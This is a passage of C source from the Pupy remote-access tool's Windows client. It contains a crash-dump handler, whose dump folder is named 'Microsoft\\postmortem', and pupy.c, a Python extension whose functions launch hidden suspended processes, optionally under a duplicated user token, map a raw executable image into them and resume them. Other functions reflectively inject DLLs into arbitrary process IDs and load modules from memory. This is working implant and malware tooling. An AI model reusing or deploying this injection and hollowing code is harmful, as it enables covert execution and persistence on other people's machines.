stack.AddrFrame.Offset = pContext->Rbp; #else stack.AddrPC.Offset = pContext->Eip; stack.AddrStack.Offset = pContext->Esp; stack.AddrFrame.Offset = pContext->Ebp; #endif for( frame = 0; frame < 64; frame++ ) { LPCSTR pcModuleName = NULL; PVOID pcModuleBase = NULL; symbol->SizeOfStruct = sizeof(symbol_storage.symbol); symbol->MaxNameLength = sizeof(symbol_storage) - sizeof(symbol_storage.symbol); blSymbolFound = False; #ifdef _WIN64 result = pStackWalk( IMAGE_FILE_MACHINE_AMD64, process, thread, &stack, pContext, NULL, PupyFunctionTableAccess, PupyGetModuleBase, NULL ); pSymGetSymFromAddr64( process, (ULONG64) stack.AddrPC.Offset, &displacement, symbol ); #else result = pStackWalk( IMAGE_FILE_MACHINE_I386, process, thread, &stack, pContext, NULL, pSymFunctionTableAccess, PupyGetModuleBase, NULL ); pSymGetSymFromAddr( process, (ULONG) stack.AddrPC.Offset, &displacement, symbol ); #endif if (blSymbolFound) { buffer_len = snprintf( buffer, sizeof(buffer) - 1, "+ %lu:\tSYS:%s\t(PC %p)\n", frame, symbol->Name, stack.AddrPC.Offset ); } else { LPCSTR pcModuleName = NULL; PVOID pcModuleBase = NULL; if (MyFindMemoryModuleNameByAddr( stack.AddrPC.Offset, &pcModuleName, &pcModuleBase, NULL)) { buffer_len = snprintf( buffer, sizeof(buffer) - 1, "+ %lu:\t[PC %p]\tMEM:%s+0x%x\n", frame, stack.AddrPC.Offset, pcModuleName, ((UINT_PTR)stack.AddrPC.Offset) - ((UINT_PTR)pcModuleBase) ); } else { HMODULE hSymbolModule; CHAR szModName[MAX_PATH]; PCHAR pcModName = szModName; BOOL blFound = GetModuleHandleExA( GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCSTR) stack.AddrPC.Offset, &hSymbolModule ); if (blFound && GetModuleFileNameA( hSymbolModule, szModName, sizeof(szModName))) { PCHAR pcLastDm = strrchr(szModName, '\\'); if (pcLastDm) pcModName = pcLastDm + 1; buffer_len = snprintf( buffer, sizeof(buffer) - 1, "+ %lu:\t[PC %p]\tSYS:%s+0x%x\n", frame, stack.AddrPC.Offset, pcModName, ((UINT_PTR)stack.AddrPC.Offset) - ((UINT_PTR)hSymbolModule) ); } else { buffer_len = snprintf( buffer, sizeof(buffer) - 1, "+ %lu:\t[PC %p]\t?\t\t\n", frame, stack.AddrPC.Offset ); } } } if (buffer_len > 0) WriteFile(hExceptionInfoFile, buffer, buffer_len, &dwWritten, NULL); if( !result ) break; } } #ifdef _WIN64 static USHORT GetBackTrace(USHORT usFrames, PVOID* BackTrace) { USHORT usFrame; CONTEXT ContextRecord; RtlCaptureContext(&ContextRecord); dprint("GetBackTrace: Start for %p\n", ContextRecord.Rip); for (usFrame = 0; usFrame < usFrames; usFrame++) { DWORD64 ImageBase; PVOID HandlerData; DWORD64 EstablisherFrame; PRUNTIME_FUNCTION pFunctionEntry = RtlLookupFunctionEntry( ContextRecord.Rip, &ImageBase, NULL ); if (pFunctionEntry == NULL) { dprint("GetBackTrace: Break on %p\n", ContextRecord.Rip); break; } RtlVirtualUnwind( 0, ImageBase, ContextRecord.Rip, pFunctionEntry, &ContextRecord, &HandlerData, &EstablisherFrame, NULL ); BackTrace[usFrame] = (PVOID)ContextRecord.Rip; } return usFrame; } #endif static VOID SaveCallingStack(HANDLE hExceptionInfoFile) { PVOID pvFrames[MAX_STACK_FRAMES]; PVOID pvModuleBase; LPCSTR pcModuleName; USHORT usFrames = 0; USHORT usFrame; DWORD dwWritten; char buffer[1024]; int buffer_len; #ifdef _WIN64 usFrames = GetBackTrace( MAX_STACK_FRAMES, pvFrames ); #else usFrames = CaptureStackBackTrace( 0, MAX_STACK_FRAMES, pvFrames, NULL ); #endif for(usFrame = 0; usFrame < usFrames; usFrame ++) { if (MyFindMemoryModuleNameByAddr( pvFrames[usFrame], &pcModuleName, &pvModuleBase, NULL)) { buffer_len = snprintf( buffer, sizeof(buffer) - 1, "+ %u:\t[PC %p]\tMEM:%s+0x%x\n", usFrame, pvFrames[usFrame], pcModuleName, ((UINT_PTR) pvFrames[usFrame]) - ((UINT_PTR) pvModuleBase) ); } else { HMODULE hSymbolModule; CHAR szModName[MAX_PATH]; PCHAR pcModName = szModName; BOOL blFound = GetModuleHandleExA( GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCSTR) pvFrames[usFrame], &hSymbolModule ); if (blFound && GetModuleFileNameA( hSymbolModule, szModName, sizeof(szModName))) { PCHAR pcLastDm = strrchr(szModName, '\\'); if (pcLastDm) pcModName = pcLastDm + 1; buffer_len = snprintf( buffer, sizeof(buffer) - 1, "+ %lu:\t[PC %p]\tSYS:%s+0x%x\n", usFrame, pvFrames[usFrame], pcModName, ((UINT_PTR)pvFrames[usFrame]) - ((UINT_PTR)hSymbolModule) ); } else { buffer_len = snprintf( buffer, sizeof(buffer) - 1, "+ %lu:\t[PC %p]\t?\t\t\n", usFrame, pvFrames[usFrame] ); } } if (buffer_len > 0) WriteFile(hExceptionInfoFile, buffer, buffer_len, &dwWritten, NULL); } } static VOID WriteToFile(HANDLE hFile, LPCSTR lpcstr) { DWORD dwWritten; WriteFile(hFile, lpcstr, strlen(lpcstr), &dwWritten, NULL); } static VOID MyEnumerateLoadedLibraries(HANDLE hExceptionInfoFile) { HMODULE hMods[1024]; DWORD cbNeeded; DWORD dwWritten; unsigned int i; HANDLE hCurrentProcess = GetCurrentProcess(); HANDLE hPsapi = LoadLibraryA("PSAPI.DLL"); EnumProcessModules_t pEnumProcessModules = (EnumProcessModules_t) GetProcAddress(hPsapi, "EnumProcessModules"); if (!pEnumProcessModules) { dprint("Couldn't find pEnumProcessModules\n"); return; } if (!pEnumProcessModules(hCurrentProcess, hMods, sizeof(hMods), &cbNeeded)) { dprint("EnumProcessModules failed\n"); return; } for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) { CHAR szModName[MAX_PATH]; CHAR dll_info[MAX_PATH]; int dll_info_len; memset(dll_info, 0x0, sizeof(dll_info)); memset(szModName, 0x0, sizeof(dll_info)); if (!GetModuleFileNameA(hMods[i], szModName, sizeof(szModName))) continue; dll_info_len = snprintf( dll_info, sizeof(dll_info) - 1, "+ %p\t%s\n", hMods[i], szModName ); dprint(dll_info); if (dll_info_len > 0) WriteFile(hExceptionInfoFile, dll_info, dll_info_len, &dwWritten, NULL); } dprint("DLLs enumeration completed\n"); } static void SaveExceptionInfo( HMODULE hDbgHelp, LPCWSTR pwzFolder, EXCEPTION_POINTERS* pExceptionPointers) { HANDLE hExceptionInfoFile = INVALID_HANDLE_VALUE; WCHAR einfo_path[MAX_PATH]; CHAR einfo_buf[8192]; DWORD dwWritten; int einfo_buf_size; int pystack_saved; dprint("SaveExceptionInfo start..\n"); if (!(pExceptionPointers && pExceptionPointers->ExceptionRecord && pExceptionPointers->ContextRecord)) { dprint("No exception info!\n"); } _snwprintf( einfo_path, (sizeof(einfo_path) / 2) - 1, L"%s\\tmp_dump_%d.einfo", pwzFolder, GetCurrentProcessId() ); dwprint(L"File with exception info: %s\n", einfo_path); hExceptionInfoFile = CreateFileW( einfo_path, FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (hExceptionInfoFile == NULL || hExceptionInfoFile == INVALID_HANDLE_VALUE) { dprint("Failed to create exception info file\n"); return; } if (pExceptionPointers) { einfo_buf_size = snprintf( einfo_buf, sizeof(einfo_buf) - 1, "\nCatch fatal exception: Code: %08x (%s)\n" "Flags: %08x Address: %p\n" "Registers:\n" #ifdef _WIN64 "RSP: %016x RBP: %016x RIP: %016x\n" "RAX: %016x RBX: %016x RCX: %016x RDX: %016x\n" "RSI: %016x RDI: %016x R8: %016x R9: %016x\n" "R10: %016x R11: %016x R12: %016x R13: %016x\n" "R14: %016x R15: %016x\n", #else "ESP: %08x EBP: %08x EIP: %08x\n" "EAX: %08x EBX: %08x ECX: %08x EDX: %08x\n" "ESI: %08x EDI: %08x\n", #endif pExceptionPointers->ExceptionRecord->ExceptionCode, code2str(pExceptionPointers->ExceptionRecord->ExceptionCode), pExceptionPointers->ExceptionRecord->ExceptionFlags, pExceptionPointers->ExceptionRecord->ExceptionAddress, #ifdef _WIN64 pExceptionPointers->ContextRecord->Rsp, pExceptionPointers->ContextRecord->Rbp, pExceptionPointers->ContextRecord->Rip, pExceptionPointers->ContextRecord->Rax, pExceptionPointers->ContextRecord->Rbx, pExceptionPointers->ContextRecord->Rcx, pExceptionPointers->ContextRecord->Rdx, pExceptionPointers->ContextRecord->Rsi, pExceptionPointers->ContextRecord->Rdi, pExceptionPointers->ContextRecord->R8, pExceptionPointers->ContextRecord->R9, pExceptionPointers->ContextRecord->R10, pExceptionPointers->ContextRecord->R11, pExceptionPointers->ContextRecord->R12, pExceptionPointers->ContextRecord->R13, pExceptionPointers->ContextRecord->R14, pExceptionPointers->ContextRecord->R15 #else pExceptionPointers->ContextRecord->Esp, pExceptionPointers->ContextRecord->Ebp, pExceptionPointers->ContextRecord->Eip, pExceptionPointers->ContextRecord->Eax, pExceptionPointers->ContextRecord->Ebx, pExceptionPointers->ContextRecord->Ecx, pExceptionPointers->ContextRecord->Edx, pExceptionPointers->ContextRecord->Esi, pExceptionPointers->ContextRecord->Edi #endif ); if (einfo_buf_size > 0) WriteFile( hExceptionInfoFile, einfo_buf, einfo_buf_size, &dwWritten, NULL ); } else { static const char no_exception_header[] = "\nNon-exception crash report\n"; DWORD dwWritten = 0; WriteFile( hExceptionInfoFile, no_exception_header, sizeof(no_exception_header)-1, &dwWritten, NULL ); } dprint("Enumerating libraries..\n"); WriteToFile(hExceptionInfoFile, "\nMemory modules:\n"); MyEnumerateLibraries(SaveLibraryInfo, (PVOID) hExceptionInfoFile); WriteToFile(hExceptionInfoFile, "\nNormal modules:\n"); MyEnumerateLoadedLibraries(hExceptionInfoFile); dprint("Generating stack trace ..\n"); if (pExceptionPointers) { if (hDbgHelp) { WriteToFile(hExceptionInfoFile, "\nException Stack trace:\n"); SaveContextStack( hDbgHelp, hExceptionInfoFile, pExceptionPointers->ContextRecord ); } else { WriteToFile( hExceptionInfoFile, "\nFailed to save Exception Stack trace: DBGHELP not found\n" ); } } else { WriteToFile(hExceptionInfoFile, "\nCurrent stack trace:\n"); SaveCallingStack(hExceptionInfoFile); } dprint("Try to save python stack\n"); WriteToFile(hExceptionInfoFile, "\nCurrent Python stacks (if any):\n"); pystack_saved = Py_GetCurrentThreadStackTrace( SavePythonStackTrace, (PVOID) hExceptionInfoFile ); dprint("Exception info saved (python=%d)\n", pystack_saved); CloseHandle(hExceptionInfoFile); } LONG WINAPI Postmortem(PEXCEPTION_POINTERS pExceptionPointers) { WCHAR appdata_local[MAX_PATH]; HMODULE hShell32 = LoadLibraryA("SHELL32.DLL"); HMODULE hDbgHelp = LoadLibraryA("DBGHELP.DLL"); SHGetFolderPathAndSubDirW_t pSHGetFolderPathAndSubDirW = NULL; if (pExceptionPointers && pExceptionPointers->ExceptionRecord) { dprint( "Catch fatal exception: Code: %08x (%s) Flags: %08x Address: %p\n", pExceptionPointers->ExceptionRecord->ExceptionCode, code2str(pExceptionPointers->ExceptionRecord->ExceptionCode), pExceptionPointers->ExceptionRecord->ExceptionFlags, pExceptionPointers->ExceptionRecord->ExceptionAddress ); } else { dprint("Non-exception postmortem call\n"); pExceptionPointers = NULL; } if (hShell32) pSHGetFolderPathAndSubDirW = (SHGetFolderPathAndSubDirW_t) GetProcAddress( hShell32, "SHGetFolderPathAndSubDirW"); if (!pSHGetFolderPathAndSubDirW) { dprint("Failed to find SHGetFolderPathAndSubDirW (SHELL32.DLL AT %p)\n", hShell32); if (GetTempPathW(sizeof(appdata_local)/sizeof(WCHAR), appdata_local) < 1) return EXCEPTION_CONTINUE_SEARCH; } dprint("Creating folder for exception info\n"); if (!SUCCEEDED(pSHGetFolderPathAndSubDirW( NULL, CSIDL_LOCAL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, POSTMORTEM_DEST_FOLDER, appdata_local))) { dprint("Failed to create exception info folder\n"); return EXCEPTION_CONTINUE_SEARCH; } dwprint(L"Folder created: %s\n", appdata_local); dprint("Generating crash context info..\n"); SaveExceptionInfo(hDbgHelp, appdata_local, pExceptionPointers); dprint("Crash context saved\n"); #ifdef DEBUG if (pExceptionPointers) { if (hDbgHelp) { dprint("Generating minidump...\n"); CreateMiniDump(hDbgHelp, appdata_local, pExceptionPointers); } else { dprint("Failed to load DBGHELP\n"); } } #endif dprint("Postmortem exception filter completed\n"); return EXCEPTION_CONTINUE_SEARCH; } void EnableCrashingOnCrashes() { static const DWORD EXCEPTION_SWALLOWING = 0x1; const HMODULE kernel32 = LoadLibraryA("kernel32.dll"); const tGetPolicy pGetPolicy = (tGetPolicy) GetProcAddress( kernel32, "GetProcessUserModeExceptionPolicy"); const tSetPolicy pSetPolicy = (tSetPolicy) GetProcAddress( kernel32, "SetProcessUserModeExceptionPolicy"); if(pGetPolicy && pSetPolicy) { DWORD dwFlags = 0; dprint("EnableCrashingOnCrashes: ProcessUserModeExceptionPolicy found\n"); if(pGetPolicy(&dwFlags)) { dprint("EnableCrashingOnCrashes: default policy: %08x\n", dwFlags); pSetPolicy(dwFlags & ~EXCEPTION_SWALLOWING); } } } ================================================ FILE: client/sources-windows-py3/postmortem.h ================================================ #ifndef POSTMORTEM_H_ #define POSTMORTEM_H_ #include #ifndef POSTMORTEM_DEST_FOLDER #define POSTMORTEM_DEST_FOLDER L"Microsoft\\postmortem" #endif #pragma pack(push, 4) typedef enum { AddrMode1616, AddrMode1632, AddrModeReal, AddrModeFlat } ADDRESS_MODE; typedef struct _IMAGEHLP_SYMBOL64 { DWORD SizeOfStruct; DWORD64 Address; DWORD Size; DWORD Flags; DWORD MaxNameLength; CHAR Name[1]; } IMAGEHLP_SYMBOL64, *PIMAGEHLP_SYMBOL64; typedef struct _IMAGEHLP_SYMBOL { DWORD SizeOfStruct; DWORD Address; DWORD Size; DWORD Flags; DWORD MaxNameLength; CHAR Name[1]; } IMAGEHLP_SYMBOL, *PIMAGEHLP_SYMBOL; typedef struct _IMAGEHLP_SYMBOL_STORAGE64 { IMAGEHLP_SYMBOL64 symbol; CHAR NameStorage[512]; } IMAGEHLP_SYMBOL_STORAGE64; typedef struct _IMAGEHLP_SYMBOL_STORAGE { IMAGEHLP_SYMBOL symbol; CHAR NameStorage[512]; } IMAGEHLP_SYMBOL_STORAGE; typedef struct _tagADDRESS { DWORD Offset; WORD Segment; ADDRESS_MODE Mode; } ADDRESS, *LPADDRESS; typedef struct _tagADDRESS64 { DWORD64 Offset; WORD Segment; ADDRESS_MODE Mode; } ADDRESS64, *LPADDRESS64; typedef struct _KDHELP64 { DWORD64 Thread; DWORD ThCallbackStack; DWORD ThCallbackBStore; DWORD NextCallback; DWORD FramePointer; DWORD64 KiCallUserMode; DWORD64 KeUserCallbackDispatcher; DWORD64 SystemRangeStart; DWORD64 KiUserExceptionDispatcher; DWORD64 StackBase; DWORD64 StackLimit; DWORD BuildVersion; DWORD RetpolineStubFunctionTableSize; DWORD64 RetpolineStubFunctionTable; DWORD RetpolineStubOffset; DWORD RetpolineStubSize; DWORD64 Reserved0[2]; } KDHELP64, *PKDHELP64; typedef struct _tagSTACKFRAME64 { ADDRESS64 AddrPC; ADDRESS64 AddrReturn; ADDRESS64 AddrFrame; ADDRESS64 AddrStack; ADDRESS64 AddrBStore; PVOID FuncTableEntry; DWORD64 Params[4]; BOOL Far; BOOL Virtual; DWORD64 Reserved[3]; KDHELP64 KdHelp; } STACKFRAME64, *LPSTACKFRAME64; typedef struct _KDHELP { DWORD Thread; DWORD ThCallbackStack; DWORD NextCallback; DWORD FramePointer; DWORD KiCallUserMode; DWORD KeUserCallbackDispatcher; DWORD SystemRangeStart; DWORD ThCallbackBStore; DWORD KiUserExceptionDispatcher; DWORD StackBase; DWORD StackLimit; DWORD Reserved[5]; } KDHELP, *PKDHELP; typedef struct _tagSTACKFRAME { ADDRESS AddrPC; ADDRESS AddrReturn; ADDRESS AddrFrame; ADDRESS AddrStack; PVOID FuncTableEntry; DWORD Params[4]; BOOL Far; BOOL Virtual; DWORD Reserved[3]; KDHELP KdHelp; ADDRESS AddrBStore; } STACKFRAME, *LPSTACKFRAME; typedef struct _MINIDUMP_EXCEPTION_INFORMATION { DWORD ThreadId; PEXCEPTION_POINTERS ExceptionPointers; BOOL ClientPointers; } MINIDUMP_EXCEPTION_INFORMATION, *PMINIDUMP_EXCEPTION_INFORMATION; #pragma pack(pop) typedef enum _MINIDUMP_TYPE { MiniDumpNormal, MiniDumpWithDataSegs, MiniDumpWithFullMemory, MiniDumpWithHandleData, MiniDumpFilterMemory, MiniDumpScanMemory, MiniDumpWithUnloadedModules, MiniDumpWithIndirectlyReferencedMemory, MiniDumpFilterModulePaths, MiniDumpWithProcessThreadData, MiniDumpWithPrivateReadWriteMemory, MiniDumpWithoutOptionalData, MiniDumpWithFullMemoryInfo, MiniDumpWithThreadInfo, MiniDumpWithCodeSegs, MiniDumpWithoutAuxiliaryState, MiniDumpWithFullAuxiliaryState, MiniDumpWithPrivateWriteCopyMemory, MiniDumpIgnoreInaccessibleMemory, MiniDumpWithTokenInformation, MiniDumpWithModuleHeaders, MiniDumpFilterTriage, MiniDumpWithAvxXStateContext, MiniDumpWithIptTrace, MiniDumpScanInaccessiblePartialPages, MiniDumpValidTypeFlags } MINIDUMP_TYPE; typedef BOOL (*MiniDumpWriteDump_t)( HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, PVOID UserStreamParam, PVOID CallbackParam ); #define SYMOPT_CASE_INSENSITIVE 0x00000001 #define SYMOPT_UNDNAME 0x00000002 #define SYMOPT_DEFERRED_LOADS 0x00000004 #define SYMOPT_NO_CPP 0x00000008 #define SYMOPT_LOAD_LINES 0x00000010 #define SYMOPT_OMAP_FIND_NEAREST 0x00000020 #define SYMOPT_LOAD_ANYTHING 0x00000040 #define SYMOPT_IGNORE_CVREC 0x00000080 #define SYMOPT_NO_UNQUALIFIED_LOADS 0x00000100 #define SYMOPT_FAIL_CRITICAL_ERRORS 0x00000200 #define SYMOPT_EXACT_SYMBOLS 0x00000400 #define SYMOPT_ALLOW_ABSOLUTE_SYMBOLS 0x00000800 #define SYMOPT_IGNORE_NT_SYMPATH 0x00001000 #define SYMOPT_INCLUDE_32BIT_MODULES 0x00002000 #define SYMOPT_PUBLICS_ONLY 0x00004000 #define SYMOPT_NO_PUBLICS 0x00008000 #define SYMOPT_AUTO_PUBLICS 0x00010000 #define SYMOPT_NO_IMAGE_SEARCH 0x00020000 #define SYMOPT_SECURE 0x00040000 #define SYMOPT_NO_PROMPTS 0x00080000 #define SYMOPT_ALLOW_ZERO_ADDRESS 0x01000000 #define SYMOPT_DISABLE_SYMSRV_AUTODETECT 0x02000000 #define SYMOPT_FAVOR_COMPRESSED 0x00800000 #define SYMOPT_FLAT_DIRECTORY 0x00400000 #define SYMOPT_IGNORE_IMAGEDIR 0x00200000 #define SYMOPT_OVERWRITE 0x00100000 #define SYMOPT_DEBUG 0x80000000 #ifdef _WIN64 #define MAX_STACK_FRAMES 256 #else #define MAX_STACK_FRAMES 63 #endif LONG WINAPI Postmortem(PEXCEPTION_POINTERS pExceptionInfo); void EnableCrashingOnCrashes(void); #endif ================================================ FILE: client/sources-windows-py3/pupy.c ================================================ /* # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms */ #include #include #ifdef _PUPY_DYNLOAD #define PY_SSIZE_T_CLEAN #include #else #include "Python-dynload.h" #endif #include "debug.h" #include "MyLoadLibrary.h" #include "base_inject.h" #include "in-mem-exe.c" #include "pupy_load.h" static char module_doc[] = DOC("Builtins utilities for pupy"); #ifndef UINTPTR #ifndef _WIN32 typedef DWORD UINTPTR; #else typedef ULONGLONG UINTPTR; #endif #endif static PyObject *ExecError; #include "revision.h" static HINSTANCE hAppInstance = NULL; static PyObject *Py_on_exit_session_callback = NULL; static int is_shared = 0; void on_exit_session(void) { PyGILState_STATE gstate; PyObject * pResult; dprint( "pupy:on_exit_session called, current callback: %p\n", Py_on_exit_session_callback); if (!Py_on_exit_session_callback) return; gstate = PyGILState_Ensure(); pResult = PyObject_CallObject(Py_on_exit_session_callback, NULL); PyGILState_Release(gstate); } static PyObject *Py_set_exit_session_callback(PyObject *self, PyObject *args) { PyObject *old = Py_on_exit_session_callback; if (!PyArg_ParseTuple(args, "O", &Py_on_exit_session_callback)) return NULL; Py_XINCREF(Py_on_exit_session_callback); Py_XDECREF(old); return PyBool_FromLong(1); } static PyObject *Py_get_arch(PyObject *self, PyObject *args) { #ifdef _WIN64 return Py_BuildValue("s", "x64"); #else return Py_BuildValue("s", "x86"); #endif } static PyObject *Py_mexec(PyObject *self, PyObject *args) { PROCESS_INFORMATION pi; STARTUPINFO si; SECURITY_ATTRIBUTES saAttr = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; HANDLE g_hChildStd_IN_Rd = NULL; HANDLE g_hChildStd_IN_Wr = NULL; HANDLE g_hChildStd_OUT_Rd = NULL; HANDLE g_hChildStd_OUT_Wr = NULL; BOOL inherit = FALSE; PyObject* py_redirect_stdio = NULL; PyObject* py_hidden = NULL; DWORD createFlags = CREATE_SUSPENDED|CREATE_NEW_CONSOLE; PyObject* py_cmdline = NULL; char *pe_raw_bytes; int pe_raw_bytes_len; #ifdef _WIN64 long long dupHandleAddressPLL = 0; void **dupHandleAddress = NULL; HANDLE dupHandle = NULL; if (!PyArg_ParseTuple( args, "Os#|OOK", &py_cmdline, &pe_raw_bytes, &pe_raw_bytes_len, &py_redirect_stdio, &py_hidden, &dupHandleAddressPLL)) // the address of the handle is directly passed with ctypes return NULL; dupHandleAddress = (void **) ((DWORD_PTR) dupHandleAddressPLL); #else PVOID dupHandleAddress = NULL; HANDLE dupHandle = NULL; if (!PyArg_ParseTuple( args, "Os#|OOI", &py_cmdline, &pe_raw_bytes, &pe_raw_bytes_len, &py_redirect_stdio, &py_hidden, &dupHandleAddress)) // the address of the handle is directly passed with ctypes return NULL; #endif if (!(PyUnicode_Check(py_cmdline))) { return PyErr_Format( PyExc_Exception, "cmdline must be unicode" ); } memset(&si,0,sizeof(STARTUPINFO)); memset(&pi,0,sizeof(PROCESS_INFORMATION)); si.cb = sizeof(STARTUPINFO); if(py_hidden && PyObject_IsTrue(py_hidden)){ si.dwFlags |= STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; createFlags |= CREATE_NO_WINDOW; } if (!py_redirect_stdio || PyObject_IsTrue(py_redirect_stdio)) { if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) { return PyErr_Format(PyExc_Exception, "Error in CreatePipe (IN): Errno %d", GetLastError()); } if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)) { CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_IN_Wr); return PyErr_Format(PyExc_Exception, "Error in CreatePipe (OUT): Errno %d", GetLastError()); } si.hStdInput = g_hChildStd_IN_Rd; si.hStdOutput = g_hChildStd_OUT_Wr; si.hStdError = g_hChildStd_OUT_Wr; si.dwFlags |= STARTF_USESTDHANDLES; inherit=TRUE; } if (!dupHandleAddress) { BOOL blCreated; if (PyUnicode_Check(py_cmdline)) { size_t wsize = PyUnicode_GetSize(py_cmdline) + 1; size_t size = wsize * sizeof(wchar_t); wchar_t *tmpstr = malloc(size); RtlZeroMemory(tmpstr, size); dprint("Py_mexec::unicode cmdline, size=%d\n", wsize); PyUnicode_AsWideChar(py_cmdline, tmpstr, wsize); blCreated = CreateProcessW( NULL, tmpstr, &saAttr, NULL, inherit, createFlags, NULL, NULL, &si, &pi ); free(tmpstr); } else { dprint("Py_mexec::char cmdline\n"); blCreated = CreateProcessA( NULL, PyUnicode_AsUTF8String(py_cmdline), &saAttr, NULL, inherit, createFlags, NULL, NULL, &si, &pi ); } if(!blCreated) { CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_IN_Wr); CloseHandle(g_hChildStd_OUT_Rd); CloseHandle(g_hChildStd_OUT_Wr); return PyErr_Format( PyExc_Exception, "Error in CreateProcess: Errno %d", GetLastError() ); } } else { BOOL blCreated; dupHandle=(HANDLE) dupHandleAddress; if (PyUnicode_Check(py_cmdline)) { size_t wsize = PyUnicode_GetSize(py_cmdline) + 1; size_t size = wsize * sizeof(wchar_t); wchar_t *tmpstr = malloc(size); RtlZeroMemory(tmpstr, size); PyUnicode_AsWideChar(py_cmdline, tmpstr, wsize); blCreated = CreateProcessAsUserW( dupHandle, NULL, tmpstr, &saAttr, NULL, inherit, createFlags, NULL, NULL, &si, &pi ); free(tmpstr); } else { blCreated = CreateProcessAsUserA( dupHandle, NULL, PyUnicode_AsUTF8String(py_cmdline), &saAttr, NULL, inherit, createFlags, NULL, NULL, &si, &pi ); } if (!blCreated) { CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_IN_Wr); CloseHandle(g_hChildStd_OUT_Rd); CloseHandle(g_hChildStd_OUT_Wr); return PyErr_Format( PyExc_Exception, "Error in CreateProcess: Errno %d dupHandle %x", GetLastError(), dupHandle ); } } CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_OUT_Wr); if (!MapNewExecutableRegionInProcess(pi.hProcess, pi.hThread, pe_raw_bytes)) { DWORD dwErrno = GetLastError(); TerminateProcess(pi.hProcess, 1); CloseHandle(pi.hProcess); CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_IN_Wr); CloseHandle(g_hChildStd_OUT_Rd); CloseHandle(g_hChildStd_OUT_Wr); return PyErr_Format( PyExc_Exception, "Error in MapNewExecutableRegionInProcess: Errno %d", dwErrno ); } if (ResumeThread(pi.hThread) == (DWORD)-1) { TerminateProcess(pi.hProcess, 1); CloseHandle(pi.hProcess); CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_IN_Wr); CloseHandle(g_hChildStd_OUT_Rd); CloseHandle(g_hChildStd_OUT_Wr); return PyErr_Format( PyExc_Exception, "Error in ResumeThread: Errno %d", GetLastError() ); } CloseHandle(pi.hThread); return Py_BuildValue("(III)", pi.hProcess, g_hChildStd_IN_Wr, g_hChildStd_OUT_Rd); } static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args) { DWORD dwPid; const char *lpDllBuffer; DWORD dwDllLenght; const char *cpCommandLine; PyObject* py_is64bit; int is64bits; if (!PyArg_ParseTuple(args, "Is#O", &dwPid, &lpDllBuffer, &dwDllLenght, &py_is64bit)) return NULL; is64bits = PyObject_IsTrue(py_is64bit); if(is64bits){ is64bits=PROCESS_ARCH_X64; }else{ is64bits=PROCESS_ARCH_X86; } if(dwPid == 0) { return PyErr_Format( PyExc_Exception, "Cannot inject in pid %d", dwPid ); } if(inject_dll( dwPid, lpDllBuffer, dwDllLenght, NULL, is64bits) != ERROR_SUCCESS) return NULL; return PyBool_FromLong(1); } static PyObject *Py_load_dll(PyObject *self, PyObject *args) { DWORD dwPid; const char *lpDllBuffer; DWORD dwDllLenght; const char *dllname; if (!PyArg_ParseTuple(args, "ss#", &dllname, &lpDllBuffer, &dwDllLenght)) return NULL; return PyLong_FromVoidPtr(MyLoadLibrary(dllname, lpDllBuffer, NULL)); } static PyObject *Py_find_function_address(PyObject *self, PyObject *args) { const char *lpDllName = NULL; const char *lpFuncName = NULL; void *address = NULL; if (PyArg_ParseTuple(args, "ss", &lpDllName, &lpFuncName)) { address = MyFindProcAddress(lpDllName, lpFuncName); } return PyLong_FromVoidPtr(address); } static PyObject *Py_is_shared_object(PyObject *self, PyObject *args) { return PyBool_FromLong(is_shared); } static PyObject *Py_set_is_shared_object(PyObject *self, PyObject *arg0) { if (!is_shared && PyObject_IsTrue(arg0)) is_shared = 1; return PyBool_FromLong(is_shared); } static PyObject * import_module(PyObject *self, PyObject *args) { char *data; Py_ssize_t size; char *initfuncname; char *modname; char *pathname; //HMEMORYMODULE hmem; HMODULE hmem; FARPROC do_init; ULONG_PTR cookie = 0; char *oldcontext; PyObject *dataobj; PyObject *spec; if (!PyArg_ParseTuple(args, "SsssO:import_module", &dataobj, &initfuncname, &modname, &pathname, &spec)) { dprint("error in PyArg_ParseTuple()\n"); return NULL; } if (PyBytes_AsStringAndSize(dataobj, &data, &size)==-1) { PyErr_Format(PyExc_ImportError, "cannot convert bytes to char * : %s (err=%d)", pathname, GetLastError()); return NULL; } dprint( "import_module(name=%s size=%d ptr=%p)\n", pathname, size, data); //try some windows manifest magic... cookie = _My_ActivateActCtx(); hmem = MyLoadLibrary(pathname, data, NULL); _My_DeactivateActCtx(cookie); if (!hmem) { PyErr_Format(PyExc_ImportError, "MemoryLoadLibrary failed loading %s (err=%d)", pathname, GetLastError()); return NULL; } do_init = MyGetProcAddress(hmem, initfuncname); if (!do_init) { MyFreeLibrary(hmem); PyErr_Format(PyExc_ImportError, "Could not find function %s", initfuncname); return NULL; } oldcontext = _Py_PackageContext; _Py_PackageContext = modname; PyObject *m = do_init(); _Py_PackageContext = oldcontext; // multi phase init if (PyObject_TypeCheck(m, &PyModuleDef_Type)) { struct PyModuleDef *def; PyObject *state; m = PyModule_FromDefAndSpec((PyModuleDef*)m, spec); def = PyModule_GetDef(m); state = PyModule_GetState(m); if (state == NULL) { PyModule_ExecDef(m, def); } return m; } PyObject *modules = NULL; modules = PyImport_GetModuleDict(); PyObject *name = PyUnicode_FromString(modname); _PyImport_FixupExtensionObject(m, name, name, 